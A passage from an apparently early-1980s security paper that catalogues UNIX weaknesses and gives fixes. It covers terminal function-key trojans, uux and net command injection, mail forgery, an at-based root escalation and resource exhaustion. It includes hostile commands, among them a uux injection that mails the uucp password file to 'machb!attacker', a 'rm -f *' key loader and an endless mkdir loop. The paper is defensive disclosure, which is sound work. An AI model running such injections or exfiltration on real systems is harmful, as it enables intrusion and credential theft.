on the first line after invoking the command */bin/mail*[22]. A similar technique may be used for other mail programs.

This can be used to breach security, although in a less reliable manner than other methods. The attacker uses this technique to forge a letter from one person (say, the system administrator) to a system programmer asking the programmer to do something. Of course, if the system programmer ever asks his superior about the letter, the attempted penetration will be discovered, and by examining the real header, the perpetrator may be found. Hence this method is less likely to be used than others.

This does not work if the mail program used prints the headers of waiting letters (Berkeley's *Mail*(1) program does this.) But many mail programs print the header and the body together, and the overwriting usually occurs so fast that it is not noticeable.

Example 11: Downloading to a Terminal

This Trojan horse is both obvious and subtle. When one thinks of it, the first question is why one did not think of it sooner.

To use this method, the victim must have a terminal which will permit programs to be downloaded from the computer to the terminal's function keys, or the ability to do a block send; many video terminals will do at least one if not both. Programming the function keys is easy; a sequence of control characters is sent to the terminal, followed by the program, followed by some other control characters. As the terminal is just another file to UNIX, the attacker need only write the appropriate sequence of control characters and the command to the user's terminal, and then conceal what was done by judicious use of erase commands. When the victim presses the right function key button, the trap is sprung.

As an example, here is a sequence of characters which load the string

```
rm -f *
```

into the function key PF1 of an Ann Arbor Ambassador terminal [19]:

```
^[P\'H{RM} \-{F} *~J^[\
```

where the pair '^[' is the escape key (the key in the upper row, on the right, labelled 'ESC').

If the victim's terminal does not have the ability to download programs into function keys, but does have the ability to send blocks of text from the screen to the computer, that is sufficient. The attacker writes his commands onto the terminal screen, positions the cursor properly (exactly how varies from terminal to terminal), and sends the "block send" character control sequence. He then uses the erasing abilities of the video terminal to clean up the traces.

Some terminals, which have programmable microprocessors in them, can be targets of a variation of this tactic. The attacker writes a program which, when run by the microprocessor, sends a sequence of characters to the host computer; he then downloads this program to the terminal. The computer will interpret the sequence of characters from that program as a command from the user at that terminal. This variation is not really a Trojan horse technique, since the victim need do nothing; but it is very effective, particularly when the program erases the characters from the screen. The BBN BitGraph terminals are particularly vulnerable to this, for example, with their "load and execute" control sequence [20].

An interesting variation arises with a terminal which permits the contents of its display to be read, such as some Hazeltine terminals [21], [22]. Using the control sequences to do this, in combination with the cursor control sequences, an attacker can construct an image of the screen of the target terminal, including characters sent from the computer to the terminal. If the user on that terminal happens to be reading confidential data, such as the password for *root*, the attacker will see that too. For this, however, the user has to be able to read from the terminal; this should never be permitted (not just for security reasons.)

Incidentally, this problem is not unique to UNIX systems, and has been known for a long time. There is an anecdote, possibly apocryphal, about a user who wrote a program with the name "crashsystem." Some systems programmers happened to be looking through listings of user programs, saw this, became curious, and ran it. It worked; the system crashed. It took several hours to bring the system up; they informed the user who wrote the program that such initiative was not appreciated and that he was to delete it *immediately*. A few weeks later, these same programmers noticed that the same user still had a program called "crashsystem." The systems staff was rather incensed, and decided to look at it to learn what it did rather than testing it. They went to a monitor and instructed the computer to display the program. Immediately, the monitor displayed "time sharing system is down" and promptly hung. This time, the systems staff had to take the machine down and then bring it back up. Needless to say, they were curious what had happened; it turned out that the user had typed the words "time sharing system is down" into the file, and followed it by a huge number of NULs. When the monitor was printing these NUL characters, it would not accept input; hence, it would not respond to the system programmers' commands and appeared hung. (This story dates from the late 1960's; it obviously did not involve UNIX.)

Recommended Safeguards

Preventing an attacker from tampering with a terminal is virtually impossible in UNIX; this is a direct result of the friendly environment under which it is supposed to operate. At first glance, preventing others from writing to a terminal would seem to be sufficient; the program *mesg* may be used for this. However, in

[21] For an even more vicious version of this technique, see below.

[22] See *binmail* in [5].

addition to preventing *everyone* (except the user and the superuser) from writing to the terminal, it only solves the problem with *stty* and not the other programs which also present this threat. Another solution to prevent resetting of terminal modes by an attacker is to modify *stty* to force it to change modes only on the terminal from which it is run; however, this would prevent someone from using it to fix another terminal at which he is logged in. Such changes would also be needed for many other programs.

Another possible solution involves restricting the set of programs by means of which a user may write to another user's terminal. All such programs are made setgid to a group (call it *ttygroup*) to which no user belongs. The files corresponding to the terminals (the names of which begin with "/dev/tty") are set so that the owner (that is, the person using the terminal) can read from and write to the terminal, and *only* the group *ttygroup* can write to the terminal. (*Mesg* toggles this last permission, as expected.) Finally, the programs which are setgid to *ttygroup* are modified to strip out all dangerous sequences of control characters.

While disallowing all incoming messages would prevent attackers from downloading to a terminal, it would not prevent compromise by a Trojan horse type attack. All an attacker needs to do is mail the victim a letter containing the appropriate control characters. When the user reads the letter, the control characters are sent to the terminal and interpreted. With Berkeley UNIX, there is an even more serious problem—the program *biff*, which asynchronously notifies one that mail has arrived and prints the first few lines. Even displaying a file containing unknown information is dangerous.

Another way to solve this problem would be to rewrite the terminal driver to print all control characters as visible sequences (except, of course, for such characters as tab, newline, carriage return, and bell). The disadvantage to this solution is that no graphics programs will work. As a compromise, the terminal driver might be modified so that programs which would use control characters in their output would signal the driver, which would then ask the user whether to pass such characters through to the terminal, or print them as visible character sequences. This would permit the user to run graphically-oriented programs (such as system monitoring programs or games), yet would prevent someone else from sending control characters to the terminal. Note the user, not the program, indicates whether control characters are to be passed on; if the program did it, no protection would be provided. Note also this capability must be in the terminal driver, and not the program, because of the ability of users to write programs that send characters to other terminals. In addition, the driver will have to be notified at the end of every non-background process so that it can reset itself, if necessary; this would require some modifications to the kernel as well as to the terminal driver.

Such a change to the driver and kernel is still in the future. Currently, some steps may be taken to minimize this problem. When looking at a file the contents of which are unknown, use a program which prints control characters as visible sequences. If possible, use a mail-reading program which does the same thing. Solutions other than the one outlined above are also being studied; but for now, UNIX users can only be very careful when working on such a terminal; these terminals should *never* be used by *root*.

D. Networks and Remote Mail

The Problem

A *network* is a link that connects two or more machines; its most common use is for sending data between computers. UNIX has several such networks; the two best known are the *uucp*(1) network [23], developed at Bell Laboratories, and the *Berknet* network [24], developed at Berkeley. As usual, the computer on which a request for the network is made will be called the *originating* machine; the computer which is being communicated with will be called the *remote* machine.

Uucp is implemented as a remote user. One site will call another, and the caller will act just like a user on a dialin line; it will log on, using the login name *uucp*. However, instead of the standard command interpreter, *uucp* uses one that limits sharply the commands which can be run. This command interpreter, called *uucico*, will execute the appropriate *uucp* program or transmit the appropriate data to the "user." Berknet, on the other hand, is implemented as a set of daemons, each waiting for some request to come. When one does come, it invokes the standard shell and runs the command after resetting the spawned shell's UID and GID to that of the user making the request. To permit people on one machine without an account on a remote machine to run commands such as *who*(1), a user, *network*, is provided; when a program is run under the login name of *network*, a special command interpreter, called *nsh*, is used. In both *uucp* and *Berknet*, the command interpreters provided check that the commands are allowed to be run (each network has its own criteria for this), and then invoke one of the system's command interpreters.

Networks often unintentionally provide remote machines with loopholes which an attacker at a remote site can use to gain access to programs and files which are believed to be protected. Moreover, some networks can be used to subvert controls such as accounting on the host machine. Examples of both these subversions are discussed below.

Examples

Example 12: Uux, Net, and Remote Command Execution

The set of UNIX-to-UNIX communications programs provide several possibilities for breaching security. Two such holes involve mailing from one site to another, and executing a program remotely using *uux*(1).

The first involves mailing letters. Berkeley's *delivermail* program is used by all mailers on Berkeley UNIX to perform the actual mail delivery. It provides a very sophisticated mailing service; it can forward mail not only to users, but also to files (by appending the mail to the file), and to other programs using pipes. These last features are security holes. For example, to run *command* on a remote system (call it *macha*), an attacker need only execute

```
mail 'macha!|command'
<any input to command>
^D
```

Then, on *macha*, *command* will be executed with the body of the letter as input by the *uucp* daemon, which has the UID *uucp*. Similarly, input can be appended to any file on *macha* that the *uucp* daemon can write on by the command

```
mail macha!filename
<anything to be appended>
^D
```

This can be disastrous, because it would enable other sites to read or alter privileged files (such as the file /usr/lib/uucp/L.sys, which contains a list of places which can communicate via *uucp* with the computer—and it includes telephone numbers and passwords!) Fortunately, on all Berkeley systems of which we know, both loopholes have been fixed.

The program *uux* has two serious flaws in it. To understand these flaws, the reader should be aware of how *uux* and its companion program, *uuxqt* (which actually executes the command at the remote site) parse the command line [25]. All sites (that is, all sites which care about their security) restrict *uuxqt* to running a few

safe commands only (usually, the list is *rmail*, *rnews*, *uusend*(1), and *uuname*). The parser will read the first word of the command, check it against this list, and then append the rest of the command until one of the characters ';', '^', or '|' is encountered. These characters all signify that one command has ended and another may follow. The next word of the command is checked against the list of allowed commands; this process continues until the command line is set up. Then a Bourne shell is forked and the command executed. (It should be said that the search path is usually restricted to two or three directories, such as /bin, /usr/bin, and /usr/ucb.)

There are two problems. First, one command separator, '&', has been omitted. So, an attacker typing

```
uux "macha!rmail anything & command"
```

will execute *command* on *macha*. Second, the character '`' is also not checked for; hence, if the attacker types

```
uux macha!rmail ''`command`''
```

command will also be executed on *macha*. Note that the command is invoked with the real (and effective) UID *uucp* (not *root*), and the command between the '`'s (or following the '&') cannot have pipes or redirected input or output (*uux* would take these to refer to the whole command, rather than the part in '`'), or use the character '!' (which *uux* would interpret to be a computer name and *not* pass to the remote site). It also must be in the search path of *uuxqt*, and *rmail* must be a command which *uuxqt* is allowed to execute. (This is true on all systems we know of.) As an example, to look at the file /usr/lib/uucp/L.sys on *macha*, by mailing himself the output from the command

```
cat /usr/lib/uucp/L.sys
```

all an attacker on *machb* needs to type is this:

```
uux \- macha!rmail anything ''`/bin/sh`''
cat /usr/lib/uucp/L.sys | mail machb!attacker
^D
```

(Note the single quotes around the `/bin/sh` command; this is necessary to prevent that command from being interpreted on the originating machine.)

To prevent penetration by these methods, *uuxqt* must be made to recognize '&' and '`' as special characters. In "uuxqt.c", in the "while" loop in which the command is parsed (about line 147), change the line

```
if (prm[0] == ';' || prm[0] == '^'
```

to

```
if (prm[0] == ';' || prm[0] == '^' ||
    prm[0] == '&' || prm[0] == '\`'
```

Then, in "getprm.c", near line 30 change

```
if (*s == '>' || *s == '<' || *s == '|'
        || *s == ';') {
```

to

```
if (*s == '>' || *s == '<' || *s == '|'
   || *s == ';' || *s == '&' || *s == '`') {
```

and near line 47, change

```
while (*s != ' ' && *s != '\t' && *s != '<'
    && *s != '>' && *s != '|' && *s != '\0'
    && *s != ';' && *s != '\n')
```

to

```
while (*s != ' ' && *s != '\t' && *s != '<'
    && *s != '>' && *s != '|' && *s != '\0'
    && *s != ';' && *s != '\n' && *s != '&'
    && *s != '`')
```

This will cause *uuxqt* to treat the characters '&' and '`' as beginning new commands.

Net(1) suffers from similar flaws. Although when asked to run programs as a named user (other than *network*), *no* command checking is done, a check similar to that of *uux* is done when the user is *network*. Unfortunately, in this case only two things are checked: first, whether or not the first word in the command is the name of a program that may be executed as the user *network*, and second, whether or not the command takes any arguments. Hence, all that an attacker need do is use a command which meets these conditions, such as *who*, and any of the methods discussed for *uux*, and he can execute any command as *network* on the remote machine. As an example, an attacker issuing the command

```
net \-l network \-m macha \- who ''\`/bin/sh\`''
ls /usr/xxx
^D
```

would have the output from "ls /usr/xxx" written back to him. The modifications needed to correct this insecurity must be made to *nsh*, the *network* command interpreter (just before line 103), and are just like the tests that *uux* makes.

Example 13: Sending Files to the Wrong Machine

There is another set of security problems with *uucp* which, although harder to take advantage of, can result in files being sent to the wrong system; if the data is confidential or proprietary, this may be disasterous. An explanation of how *uucp* determines what files to send to a remote site is in order here. There are three types of files (excluding accounting files) used by *uucp*: *work* files, *data* files, and *execute files*. These files have names the format of which is

type . remote-site grade number

where *type* identifies the kind of file (*C* for a work file, *D* for a data file, and *X* for an execute file), *remote-site* is the name of the site to which the file is to be sent (it is at most seven letters long), *grade* is a character indicating the priority of the transfer, and *number* is a four digit sequence number. *Uucp* scans its spool directory looking for work files; it makes a list of all systems to be called, and then calls each system and processes the work files. Notice in particular that the remote site is determined from the work file name; actually, the 'C.' is discarded and then a routine that determines if one string is a prefix of another is called to check the system name.

This is the first security hole; the prefix routine checks only for a prefix and *not* that the prefix and the *remote-site* are the same. Hence, if there are two remote sites the name of one of which is a prefix of the name of the other, the first site will get the *uucp* files for both. That is, if a site is linked to two remote sites (call them *vax* and *vax1*), then commandfiles for these sites would be C.vaxA1234 (for site *vax*) and C.vax1A5678 (for site *vax1*). Hence, when *uucp* makes a pass through the directory to determine which sites to send to, it will assume that, since *vax* is a prefix of the second work file (after the 'C.' has been discarded), both work files concern the site *vax*. The correction, fortunately, is easy; in the body of the while loop in the routine *gtwrk()*, (in the file "anlwrk.c" around line 146), change

```
    if (!prefix(pre, filename))
        continue;
```

to

```
    if (!prefix(pre, filename) ||
```

```
        strlen(filename) - strlen(pre) != 5)
        continue;
```

The second bug involves work files not being closed properly. When *uucp* initiates a call to another site, the program *uucico* calls the remote site and begins copying files from the originating site to that remote site. To determine what files to copy, it opens work files in the *uucp* spool directory for that remote site and reads the command lines from those files. Unfortunately, if the connection is broken, and *uucico* connects to a *different* remote site, it continues reading command lines from the file for the first remote site even though it is now connected to a different site. If the command in that file requires a data file to be moved to the first site, it actually gets copied to the second instead. As with the previous bug, the fix is rather simple. In "cntrl.c", near line 118, immediately above the label *top*, add the line

```
Wfile[0] = '\0';
```

and in the file "anlwrk.c", near line 30, change the first "if" statement in the routine *anlwrk()* from

```
if (file[0] == '\0')
    return(0);
```

to the block

```
if (file[0] == '\0'){
    if (fp != NULL)
    fclose(fp);
    fp = NULL;
    return(0);
}
```

This forces *uucp* to close any open command files before it tries to call a remote system.

Example 14: Obtaining Dialup Telephone Numbers and Names

There is another bug in *uucp* which, although very minor, enables users to access the names and dialup numbers of systems which *uucp* calls (this information is normally protected.) The debugging commands are usually not disabled when *uucp* is installed; hence, any user who invokes the command *uucico* with debugging on will obtain names and telephone numbers of sites to which the local site is connected by *uucp*. The solution, of course, is to turn off debugging; this is most easily done by defining the macro *DEBUG* (in "uucp.h" around line 52) to be null.

Example 15: Networks and the Accounting System

This method provides a way to have files stored under another UID and GID; this is useful when disk quotas are being checked. The technique uses *uucp*, a program that copies files from one UNIX system to another. Files copied by it are owned by the user *uucp*; and as *uucp* does not prevent one from copying files on the *same* machine, saying

```
mv y x
uucp x y
rm x
```

makes *uucp* the owner of file "y". Of course, it is still readable by everyone, including the perpetrator. Restricting *uucp* to work only between machines is not enough; in that case, the attacker could say

```
uucp x macha!/tmp/x
rm -f x
uucp macha!/tmp/x x
```

(assuming the machine has a *uucp*-link to *macha*).

The *Berknet* handles this by creating a zero-length file owned by the user, and then copying the requested file into that [26]. It will prevent files from being copied on the same machine. Unfortunately, it provides a user, called *network*, which is allowed to do inter-machine copying. So, if two machines are linked by *Berknet*, and the attacker has access to both, the following sequence of commands will leave file "/usr/xxx/y" owned by the user *network*:

On macha:

```
netcp -l network /usr/xxx/y macha:/tmp/y
rm -f /usr/xxx/y
chmod 777 /usr/xxx
```

On machb:

```
netcp -l network /tmp/y macha:/usr/xxx/y
rm -f /tmp/y
```

On macha:

```
chmod 755 /usr/xxx
```

(This sequence assumes that the attacker owns the directory "/usr/xxx".)

Recommended Safeguards

Networks must be designed with care if security is to be a consideration. In particular, the designers and implementors of the network must know how the command interpreters which users on the network will be able to access work, and if any such command interpreter is changed in any way, the network programs should be updated to reflect this change. The first example illustrates this point. Either the implementors of *uux* forgot about '&' and '`', or when a new shell was written to use these characters, the network software was not updated; the Berknet implementor appears not to have considered them. Fortunately, patching these oversights was easy.

A better approach would have been for the networks not to use the system command interpreters at all; rather, it should run the commands itself, either directly or by using its own command interpreter which did *not* invoke any of the system command interpreters. The danger of using the standard interpreters is that as they change, the network security checking must also be changed or else a security loophole would be opened. The advantage of a private shell is that the verification routines can be built right in; there is no longer the danger of using obscure or new features to defeat these mechanisms, since commands using features unknown to the private shell will simply not be executed, whether or not they are known to the system shell.

Such an implementation would not, alas, solve the accounting problem. Files may be copied from one machine to another by using the *cat*(1) program and collecting output; hence, this could be treated like any other command (and rejected when output is to be owned by the user *network* or *uucp*). The problem of transferring files over several machines arises. With commands, this is no problem, since the command packets are just copied until they reach the target machine, and are executed there. But as the command packets move over the intermediate machines, someone must own them; the users *network* and *uucp* are used for this. The same is true for copying files and sending mail; intermediate machines would have to provide a user to own the files and mail while *en route* to the destination machine. (Once there, the owner would be reset to the recipient.) The crude solution of eliminating users such as *uucp* and *network* would therefore severely impair the usefulness of the networks. There appears to be no good intermediate solution to this problem.

E. Design Problems

The Problem

UNIX is a system which grew from a small environment, in which the users were all implementors, to a much larger one. Sadly,

the care and planning which characterizes the UNIX kernel has not been carried over to the programs and higher-level system routines; some of these are poorly designed, and others are downright dangerous. A prime example of this is the *login* bug described in **Setuid Programs** above; but there are others, as these next examples will show.

Examples

Example 16: Saving Secret Mail

For some letters, ordinary UNIX mail is not secure enough. There are a set of programs which provide a more secure mailing environment, called *secret mail*. When a letter is sent via secret mail, it is encrypted using a program which simulates a one-rotor machine based on the German Enigma cryptographic device.[23] Each user of secret mail registers his key with this system, and whenever a letter is mailed to him via secret mail, it is encrypted with his key. (People who do not register a secret mail key can neither send nor receive secret mail.) To read incoming secret mail, the user invokes a program called *xget*(1) which prompts him for his secret mail key, and uses that key to decrypt his incoming secret mail. The user can then delete the message, or save it somewhere. The problem is that *xget* saves the unencrypted letters in a file which is not read protected. In some cases, such as when the superuser password is sent via secret mail (the usual practice on our system), this is not desirable.

The easiest way to fix this is to modify *xget*. *Xget* uses the standard I/O library to create files in which to save mail, and this library creates files which anyone can read. So, if the line[24]

```
chmod(p, 0600);
```

is inserted after the save file is opened (around line 83 in the file *xget.c*), this problem will be fixed.

Example 17: Change Mail Sender II

This is an example of how using a library function for authenticating a message without understanding *exactly* how it works can lead to a security hole. The sender of a letter, as indicated before, is printed in a header that is prepended to the letter; UNIX mailers take pains to get the login name of the user sending it, rather than using his effective or real UID. (The reason is to prevent someone from changing to another user's UID and then mailing letters as that user. Whether or not this is desirable is debatable; for purposes of discussion, we shall assume it is.) It does this by invoking a standard library routine called *getlogin*(3).

According to [5], "[g]etlogin returns a pointer to the login name as found in */etc/utmp*." Although accurate, this description is very misleading; it does not say *whose* login name is returned. To get this name, *getlogin* obtains the terminal name (how, we will see in a minute), and uses that to access the right login name in "/etc/utmp" (which is a file containing the names of users currently logged in and the terminal name on which each is logged). The terminal name is obtained by checking if the standard input is a terminal and if so, that terminal's name is used; if not, it repeats this procedure for the standard output and standard error files in that order. Herein lies the catch; the login name associated with the standard input, output, or error is returned, *not* the login name associated with the process. So what happens if the first of these files associated with a terminal has been redirected to another user's terminal? The other user's login name will be returned.

As all mail programs (and a good many others) use *getlogin*, it is quite easy to defeat the authentication mechanism. If an attacker wants to mail *vic* a letter and have the sender be listed as *tim* (who is currently logged in and using terminal 33), he types the message to be sent in a file (call it "x"), and then issues the command

```
mail vic < x > /dev/tty33
```

As mail programs do not print anything on the standard output file (only on the standard error file), even if there is an error, nothing will be written to terminal 33 and *tim* will never know what happened. If *vic* relies on the authentication mechanisms in the mailers, he will be fooled completely, as *tim* will be listed as the originator of the letter. Any program which uses *getlogin* for verification or authentication may be attacked in this way.

The best solution would be not to use *getlogin* at all; indeed, [5] gives the procedure for identifying the real user of the process[25]. However, if the login name of the user of the program is required, a far safer guess may be made by opening the file "/dev/tty" and using its file descriptor. Since this file is always associated with the terminal controlling the process (that is, the terminal at which the process was begun), it will generate the correct user name. (Of course, some care must be taken to be sure that the person using the terminal did not log in *after* the process was begun.)

There are some other programs, such as *write*(1), which obtain the user's login name from "/etc/utmp" after determining the terminal name associated with the standard error file. Needless to say, this is just as reprehensible as using *getlogin*, and may be fixed in the same way.

Example 18: Running a Shell Script at a Specified Time

This method is similar to the setuid methods of compromise. It is possible to ask that a program be executed at a specific time, say 4:00 AM next morning, by using a program called *at*. For example, to see who is on the system at 4:00 AM, and what is running then, create a file (call it "x") and put the following into it:

```
who > whatsat4
ps a >> whatsat4
```

Then type

```
at 4:00am x
```

Next morning, any time after 4:00 AM, you will find in your current directory a file named "whatsat4" that contains the output of the two commands.

The problem arises from the way *at* works. It creates a shell script in the directory "/usr/spool/at" which sets up the environment to be what it was when the *at* command was issued. It determines when the program is to be run by the file name, which looks like "82.052.0400.46", where *82* is the last two digits of the year, *052* is the day (of the year) on which the file is to be run, *0400* is the time of day at which the file is to be run, and *46* is generated from the process number (to ensure file names are unique). It determines who asked the program to be run by the UID and GID of the file. Here is the hole.

As the directory "/usr/spool/at" is writable by everyone, anybody can create a file in it. As it is on the same file system as "/usr/spool/mail", anybody can use *ln*(1) to link a mailbox to a file in "/usr/spool/at". As linking does not change either the UID or GID of a file, the entry in "/usr/spool/at" has the UID and GID of the owner of the mail file. So, to do something as superuser, the attacker need only link "/usr/spool/mail/root", which is *root*'s mailbox, to a file in "/usr/spool/at" named in such a way that it will be executed sometime (say, an hour) in the future. Then, he writes a shell script to do whatever he likes, and mails it to *root*. The mail program will put the letter into *root*'s mailbox. When *at* executes the linked file, it will run the set of commands mailed to *root* as though *root* had requested it (since the UID and GID of the file are those of *root*), Note that there may be other mail in *root*'s

[23] While secure for short letters, it is not secure for long ones [27].

[24] See *chmod*(2).

[25] which is to call *getpwnam(getuid())*; see *getlogin* in [5].

mailbox; the shell spawned to run the *at* job will treat those lines as invalid commands, and ignore them.

Berkeley mail programs provide what seems to be a solution; mail can be forwarded from one user to another by use of an *aliasing* capability (for example, all mail to *root* goes to our systems programmer). Unfortunately, the program which does the actual delivering, called *delivermail* has an option to disable aliasing. So by using this program, mail can still be sent directly to *root*'s mailbox regardless of any aliases. Also, aliasing is not possible for all users (*somebody* has to get the mail, and that person could then be impersonated).

Incidentally, even though this hole forces the attacker to run programs from a shell script, don't think that it's any less dangerous than the first method. The attacker could simply mail to *root* commands to copy a shell into one of the attacker's private directories and then set the setuid bit. As soon as this is done, the attacker executes this version of the shell, and his effective UID and GID are those of *root*. He then need only edit *root*'s mailbox to clean up all traces of what was done.

One possible way to fix *at* would be to rewrite the *cron*(8) utility so that it looks in each user's home directory for the file ".crontab", and if there executes the commands listed at the times indicated. Then, *at* would add another line in the ".crontab" file, indicating what script is to be run and when; then, it would modify the script to set up the environment properly, and delete both the script and the corresponding line from the ".crontab" file after the script has been executed. This does have some disadvantages, such as the need for the script to remain in the user's directory until executed, but such inconveniences are minor when compared to the benefits.

Under any circumstances, *at* must be changed so that it uses the real UID of the user executing it, rather than the UID of the shell script; one way to do this (without rewriting *at* completely) is to make *at* setuid to *root*, and use *chown*(2) to set the script's UID and GID properly. Such a solution has the disadvantage of introducing yet another program which runs setuid to *root*, but it has the advantage of preventing compromise by the methods discussed above (of course, the *at* spool directory could no longer be writable by everyone; otherwise, reading somebody's mail would be simple.)

One final comment. On most systems, there are easier ways to obtain *root*-owned files writable by everyone (some of these ways were covered in the examples of carelessness in writing setuid programs, above) but this method will work even if no such *root*-owned files can be obtained. The reason is that the mail file is in effect writable by everyone; to write on it, one need only mail to *root*.

Recommended Safeguards

This category of errors merely demonstrates the effects of Weinberg's Second Law[26] as applied to some system programs. All too often, designs are not carefully thought out (as was the case with *getlogin* and *at*), programs are not debugged thoroughly enough (as the version 6 *login* bug showed), or the programmer forgets the purpose of the program (as in *xget*). The only solution is for system programmers and contributors to be very careful, to think out their design well, and never forget security where it is a consideration of the program. Good programming style[27], combined with common sense, will save users of the program, as well as the programmer, endless grief.

[26]"If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization."

[27]See, for example, [28].

F. Miscellaneous Problems

Introduction

The security problems described here do not fit into any of the other five classes, but are very definitely a threat to the security of UNIX.

Examples of Problems and Suggested Solutions

Example 19: Phony Letters

The UNIX mail programs append letters to the end of the recipient's mail file. This can be used to forge entire letters rather than merely misauthenticating the sender. The attacker just types a letter, skips several lines (there is always a blank line between letters in the mail file), types a new header line. types the body of the phony letter (being careful to date it after the time when the file will be mailed, but before the victim will read it), and mails this file to the victim. The mail program will send the one file, with the appropriate header, to the recipient. When the victim reads his mail, however, the mail program will determine where the letters in the mail file begin by finding lines which look like header lines. It cannot distinguish between a real header line and a faked one. So, the phony letter will appear to be genuine.

This will not work if the mail sending program prepends a character to lines which look like headers. (For example, all Berkeley's mail programs prepend '>'.) This is really the only way to prevent such deceptions.

Example 20: Reading Unreadable Files

This bug is a classic example of how dangerous improperly setting file protections can be. As previously indicated, UNIX treats all devices as files; this is true of disks, in particular. Reading from a disk is just like reading from a file. Further, as every disk contains a map of its contents, it is possible to locate any file, and read it, directly from the disk, thereby evading any protection checking. Such attempts have been made; on one UNIX installation, a student was caught with a program which would locate a given file on disk, and read it. (He lost his account; the disks, which were not read-protected before, were read-protected.)

The obvious solution is to turn off the read permission of the disks to everyone but *root*. In fact, this is really the only solution; anything else would require modifying the kernel to treat disk devices specially, which goes against the philosophy of UNIX.

Other vulnerable devices are "/dev/drum" (the swapper), "/dev/mem" (user memory), and "/dev/kmem" (kernel memory). An attacker may simply display these files (using, for example, *cat*) to see what others are doing. This problem was discovered when a student read one of the devices and saw a letter that another user was editing. (Fortunately, the student involved was a staff member, and the letter was nonconfidential.)

A variant of this attack involves the tape drive. UNIX does not lock the tape drive when it is in use; hence, once a tape is mounted, anyone can read or write it. Such action will be rather obvious if the user whose tape is mounted is watching it (although in the case of writing, the damage would be done when the tape moved). However, it is still a problem.

Read (and write, where appropriate) permissions for these devices could be turned off to prevent this type of compromise; however, were this done, many important system utilities such as *ps*(1) would have to have their setuid bits set in order to work. This would result in a large number of programs which would be owned by *root* and have the setuid bit set, thus multiplying the chances of a file's protection modes being set improperly and a penetration of the types discussed earlier occurring.

An alternative is to turn off read (and write, where appropriate) permissions for everyone except for the owner and group of the

file. Then, programs which must read the files are made setgid to the group of the file. If the programs are made world-readable, however, anyone will be able to read the file despite its protection mask. The user could start up one such program, and then obtain a core file owned by that user, but with the same group as the file, by sending the process the signal *QUIT*. Since the user owns the core file, he can copy any program onto it and then set the setgid bit. This program, when executed, can now read the protected file.

Example 21: Preventing Others From Running a Program

If system programs are world-readable, it is possible for any user to prevent everyone from executing a system program. To do so, it is necessary to realize that when a file is being read, it is locked so that it cannot be executed. Hence, typing

```
sleep 100000 < /bin/sh
```

will prevent anyone from executing the program /bin/sh for the next 100000 seconds (about 28 hours). In practical terms, this prevents anyone who uses the Bourne shell as their login shell from logging in. Similarly, typing

```
sleep 100000 < /bin/kill
```

will prevent people from using the *kill*(1) program! Note that a *kill* command is built into the C shell, and so this will not prevent a C shell user from signalling processes.

Example 22: Exhausting System Resources

These breaches involve crashing the system, or so exhausting system resources that the system ceases to function. For example, this sequence of commands is guaranteed to stop UNIX:

```
while true
do
        mkdir foo
        chdir foo
done
```

Either the system will crash, or run out of inodes, preventing anyone from writing on the disk. Dennis Ritchie's comment sums up this situation completely:

> ... In fact UNIX is essentially defenseless against this kind of abuse, nor is there any easy fix. The best that can be said is that it is generally fairly easy to detect what has happened when disaster strikes, to identify the user responsible, and to take appropriate action.[28]

III. Conclusion

This note has presented several ways to disable the UNIX operating system or violate its protection mechanisms. Some of these loopholes must be accepted as side effects of very beneficial features; were redirecting output to be prevented in UNIX, it would become far less usable than it is now. Others can be, and should be, corrected, such as the problem with *xget*. What action is to be taken depends very much on the nature and use of the system running UNIX; in a friendly community, such as ours, the security breaches which do occur are accidental, and so users tend not to think about security too much; but in a hostile environment, such as a university computing center, security is far more important, and many of these problems must be faced and handled.

This note was written for two purposes; firstly, to show that UNIX, which was not designed with security in mind, has deficiencies in that area, and secondly, to show some ways in which malicious users can wreak havoc with UNIX, thereby indicating potential trouble spots for systems administrators, as well as indicate some possible solutions. As a burglar who taught police officers how to break into safes is reported to have said, "... The crooks all know these tricks; the honest people need to learn them for their protection."

[28] [29], p. 1.

Acknowledgements: My deepest thanks to Dorothy Denning for her comments and suggestions, especially that I write this up; to Christopher Kent, whose comments on the first version of this paper greatly improved the second; also to the systems staffs of the Department of Computer Sciences, the Department of Physics at Purdue University, and to Jeff Schwab of the Purdue University Computing Center, who suggested variations of several methods, some ways to patch others, and who helped me test many of these; and to Steve Kramer of the MITRE Corporation and Dave Probert of the University of California at Santa Barbara, who suggested fixes to the terminal problems. The discussions of different aspects of security problems on the USENET also aided in writing this.

References

[1] A. Bierce, *The Devil's Dictionary*. Owings Mill, MD, USA: Stemmer House Publishers, Inc., 1978.

[2] D. M. Ritchie and K. Thompson, "The UNIX time-sharing system," *Communications of the ACM*, vol. 17, no. 7, pp. 365–375, July 1974.

[3] K. Thompson, "UNIX implementation," in *UNIX Programmer's Manual*, 1978, vol. 2.

[4] B. W. Kernighan, "UNIX for beginners—second edition," in *UNIX Programmer's Manual*, 1978, vol. 2.

[5] K. Thompson and D. M. Ritchie, *UNIX Programmers' Manual, Seventh Edition, Virtual VAX-11*, Purdue University, West Lafayette, Indiana, Jan. 1982.

[6] D. Denning, *Cryptography and Data Security*. Reading, Massachusetts: Addison-Wesley Publishing Co., 1982.

[7] S. VoBa, "Security breaches of UNIX on VAX at Purdue University, Computer Science Department installation," 1980.

[8] D. Comer and B. Grosso, *CS Department Research UNIX/VAX Operations Guide*, Department of Computer Science, Purdue University, West Lafayette, Indiana, 1981.

[9] W. Joy, "Installing and operating 4.1bsd," in *UNIX Programmer's Manual*, 1981, vol. 2.

[10] R. Morris and K. Thompson, "Password security: A case history," *Communications of the ACM*, vol. 22, no. 11, pp. 594–597, Nov. 1979.

[11] Aleph-Null, "Computer recreations," *Software–Practise and Experience*, vol. 1, no. 2, pp. 201–204, Apr. 1971.

[12] T. Truscott and J. Ellis, "On the correctness of set-user-id programs," 1980.

[13] B. W. Kernighan, "Advanced editing on UNIX," in *UNIX Programmer's Manual*, Aug. 1978, vol. 2.

[14] S. R. Bourne, "An introduction to the UNIX shell," in *UNIX Programmer's Manual*, 1978, vol. 2.

[15] W. Joy, "An introduction to the C shell," in *UNIX Programmer's Manual*, 1980, vol. 2.

[16] J. Martin, *Security, Accuracy, and Privacy in Computer Systems*. Englewood Cliffs, New Jersey: Prentice-Hall, Inc., 1973.

[17] B. W. Kernighan and D. M. Ritchie, "UNIX programming—second edition," in *UNIX Programmer's Manual*, Nov. 1978, vol. 2.

[18] *Display Terminal Guide*. Hauppage, New York: Applied Digital Data Systems, Inc., Nov. 1979, no. 515-30001.

[19] *The Ann Arbor Ambassador User Guide*, 1st ed. Ann Arbor, Michigan: Ann Arbor Terminals, Inc., 1981.

